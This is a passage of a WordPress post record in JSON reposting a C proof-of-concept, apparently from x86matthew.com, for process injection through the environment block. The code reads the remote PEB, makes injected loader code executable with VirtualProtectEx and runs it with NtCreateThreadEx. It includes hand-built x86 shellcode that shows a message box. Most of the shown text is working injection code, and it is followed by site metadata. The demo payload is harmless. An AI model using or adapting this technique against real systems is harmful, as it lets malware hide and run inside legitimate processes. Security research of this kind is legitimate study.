(void*)(ProcessBasicInfoData.PebBaseAddress + 0x10), (void*)&amp;pRemotePtr_RtlUserProcessParameters, sizeof(BYTE*), NULL) == 0)\n\t{\n\t\tprintf(\"Error: Failed to read RtlUserProcessParameters value from PEB\\n\");\n\n\t\t\/\/ error\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\n\t\tCloseHandle(ProcessInfo.hThread);\n\t\tCloseHandle(ProcessInfo.hProcess);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ read EnvironmentStr ptr from RtlUserProcessParameters\n\tif(ReadProcessMemory(ProcessInfo.hProcess, (void*)(pRemotePtr_RtlUserProcessParameters + 0x48), (void*)&amp;pRemotePtr_EnvironmentStr, sizeof(BYTE*), NULL) == 0)\n\t{\n\t\tprintf(\"Error: Failed to read EnvironmentStr value from RtlUserProcessParameters\\n\");\n\n\t\t\/\/ error\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\n\t\tCloseHandle(ProcessInfo.hThread);\n\t\tCloseHandle(ProcessInfo.hProcess);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ update environment string ptr to ignore the original bytes\n\tpRemotePtr_EnvironmentStr += dwOrigEnvBlockTotalLengthBytes;\n\n\t\/\/ read EnvironmentStr value\n\tmemset(bLoaderCode_Copy, 0, sizeof(bLoaderCode_Copy));\n\tif(ReadProcessMemory(ProcessInfo.hProcess, (void*)pRemotePtr_EnvironmentStr, (void*)bLoaderCode_Copy, sizeof(bGlobal_LoaderCode), NULL) == 0)\n\t{\n\t\tprintf(\"Error: Failed to read loader data from EnvironmentStr\\n\");\n\n\t\t\/\/ error\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\n\t\tCloseHandle(ProcessInfo.hThread);\n\t\tCloseHandle(ProcessInfo.hProcess);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ ensure the loader code has been copied correctly\n\tif(memcmp(bLoaderCode_Copy, bGlobal_LoaderCode, sizeof(bGlobal_LoaderCode)) != 0)\n\t{\n\t\tprintf(\"Error: Invalid loader data\\n\");\n\n\t\t\/\/ error\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\n\t\tCloseHandle(ProcessInfo.hThread);\n\t\tCloseHandle(ProcessInfo.hProcess);\n\n\t\treturn 1;\n\t}\n\n\tprintf(\"Executing code in remote process...\\n\");\n\n\t\/\/ temporarily make the loader code executable\n\tif(VirtualProtectEx(ProcessInfo.hProcess, pRemotePtr_EnvironmentStr, sizeof(bGlobal_LoaderCode), PAGE_EXECUTE_READWRITE, &amp;dwOriginalProtect) == 0)\n\t{\n\t\tprintf(\"Error: Failed to update memory protection\\n\");\n\n\t\t\/\/ error\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\n\t\tCloseHandle(ProcessInfo.hThread);\n\t\tCloseHandle(ProcessInfo.hProcess);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ execute payload\n\tif(NtCreateThreadEx(&amp;hThread, 0x001FFFFF, NULL, ProcessInfo.hProcess, (BYTE*)(pRemotePtr_EnvironmentStr + LOADER_CODE_OFFSET), (LPVOID)0, 0, NULL, 0, 0, NULL) != 0)\n\t{\n\t\tprintf(\"Error: Failed to create code loader thread in remote process\\n\");\n\n\t\t\/\/ error\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\n\t\tCloseHandle(ProcessInfo.hThread);\n\t\tCloseHandle(ProcessInfo.hProcess);\n\n\t\treturn 1;\n\t}\n\tWaitForSingleObject(hThread, INFINITE);\n\tCloseHandle(hThread);\n\n\t\/\/ restore original protection value\n\tif(VirtualProtectEx(ProcessInfo.hProcess, pRemotePtr_EnvironmentStr, sizeof(bGlobal_LoaderCode), dwOriginalProtect, &amp;dwTempProtect) == 0)\n\t{\n\t\tprintf(\"Error: Failed to update memory protection\\n\");\n\n\t\t\/\/ error\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\n\t\tCloseHandle(ProcessInfo.hThread);\n\t\tCloseHandle(ProcessInfo.hProcess);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ resume main thread\n\tResumeThread(ProcessInfo.hThread);\n\n\t\/\/ close handles\n\tCloseHandle(ProcessInfo.hThread);\n\tCloseHandle(ProcessInfo.hProcess);\n\n\treturn 0;\n}\n\nint main(int argc, char *argv&#91;])\n{\n\tchar *pExePath = NULL;\n\n\tBYTE bPayload&#91;] =\n\t{\n\t\t\/\/ string: &lt;user32.dll>\n\t\t\/\/ push 0x00006C6C\n\t\t0x68, 0x6C, 0x6C, 0x00, 0x00,\n\t\t\/\/ push 0x642E3233\n\t\t0x68, 0x33, 0x32, 0x2E, 0x64,\n\t\t\/\/ push 0x72657375\n\t\t0x68, 0x75, 0x73, 0x65, 0x72,\n\t\t\/\/ mov ecx, esp\n\t\t0x8B, 0xCC,\n\t\t\/\/ push ecx (ModuleName)\n\t\t0x51,\n\t\t\/\/ mov eax, LoadLibraryA\n\t\t0xB8, 0x44, 0x33, 0x22, 0x11,\n\t\t\/\/ call eax\n\t\t0xFF, 0xD0,\n\n\t\t \/\/ string: &lt;Code injected successfully!>\n\t\t\/\/ push 0x0021796C\n\t\t0x68, 0x6C, 0x79, 0x21, 0x00,\n\t\t\/\/ push 0x6C756673\n\t\t0x68, 0x73, 0x66, 0x75, 0x6C,\n\t\t\/\/ push 0x73656363\n\t\t0x68, 0x63, 0x63, 0x65, 0x73,\n\t\t\/\/ push 0x75732064\n\t\t0x68, 0x64, 0x20, 0x73, 0x75,\n\t\t\/\/ push 0x65746365\n\t\t0x68, 0x65, 0x63, 0x74, 0x65,\n\t\t\/\/ push 0x6A6E6920\n\t\t0x68, 0x20, 0x69, 0x6E, 0x6A,\n\t\t\/\/ push 0x65646F43\n\t\t0x68, 0x43, 0x6F, 0x64, 0x65,\n\t\t\/\/ mov ecx, esp\n\t\t0x8B, 0xCC,\n\t\t\/\/ string: &lt;www.x86matthew.com>\n\t\t\/\/ push 0x00006D6F\n\t\t0x68, 0x6F, 0x6D, 0x00, 0x00,\n\t\t\/\/ push 0x632E7765\n\t\t0x68, 0x65, 0x77, 0x2E, 0x63,\n\t\t\/\/ push 0x68747461\n\t\t0x68, 0x61, 0x74, 0x74, 0x68,\n\t\t\/\/ push 0x6D363878\n\t\t0x68, 0x78, 0x38, 0x36, 0x6D,\n\t\t\/\/ push 0x2E777777\n\t\t0x68, 0x77, 0x77, 0x77, 0x2E,\n\t\t\/\/ mov ebx, esp\n\t\t0x8B, 0xDC,\n\t\t\/\/ push MB_OK\n\t\t0x6A, 0x00,\n\t\t\/\/ push ebx (Caption)\n\t\t0x53,\n\t\t\/\/ push ecx (Text)\n\t\t0x51,\n\t\t\/\/ push hWnd\n\t\t0x6A, 0x00,\n\t\t\/\/ mov eax, MessageBoxA\n\t\t0xB8, 0x44, 0x33, 0x22, 0x11,\n\t\t\/\/ call eax\n\t\t0xFF, 0xD0,\n\n\t\t\/\/ add esp, 0x3C\n\t\t0x83, 0xC4, 0x3C,\n\n\t\t\/\/ ret\n\t\t0xC3\n\t};\n\n\t\/\/ set function addresses\n\t*(DWORD*)&amp;bPayload&#91;19] = (DWORD)LoadLibraryA;\n\t*(DWORD*)&amp;bPayload&#91;96] = (DWORD)MessageBoxA;\n\n\tprintf(\"ProcEnvInjection - www.x86matthew.com\\n\\n\");\n\n\t\/\/ check params\n\tif(argc != 2)\n\t{\n\t\tprintf(\"Usage: %s &#91;exe_path]\\n\\n\", argv&#91;0]);\n\n\t\treturn 1;\n\t}\n\n\t\/\/ get cmd param\n\tpExePath = argv&#91;1];\n\t\n\t\/\/ get NtQueryInformationProcess function\n\tNtQueryInformationProcess = (unsigned long (__stdcall *)(void *,unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle(\"ntdll.dll\"), \"NtQueryInformationProcess\");\n\tif(NtQueryInformationProcess == NULL)\n\t{\n\t\treturn 1;\n\t}\n\n\t\/\/ get NtCreateThreadEx function\n\tNtCreateThreadEx = (unsigned long (__stdcall *)(void ** ,unsigned long,void *,void *,void *,void *,unsigned long,unsigned long *,unsigned long,unsigned long,void *))GetProcAddress(GetModuleHandle(\"ntdll.dll\"), \"NtCreateThreadEx\");\n\tif(NtCreateThreadEx == NULL)\n\t{\n\t\treturn 1;\n\t}\n\n\t\/\/ start target process\n\tif(StartInjectedProcess(pExePath, bPayload, sizeof(bPayload)) != 0)\n\t{\n\t\treturn 1;\n\t}\n\n\tprintf(\"Injected successfully\\n\");\n\n\treturn 0;\n}<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u539f\u6587\u94fe\u63a5\uff1ahttps:\/\/www.x86matthew.com\/view_post?id=proc_env_i [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[58,45,37,43],"tags":[68],"class_list":["post-210","post","type-post","status-publish","format-standard","hentry","category-windows","category-x86matthew-com","category-samples","category-infoarticle","tag-injection"],"views":2401,"jetpack_sharing_enabled":true,"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/210","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=210"}],"version-history":[{"count":1,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/210\/revisions"}],"predecessor-version":[{"id":211,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/210\/revisions\/211"}],"wp:attachment":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=210"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=210"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=210"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}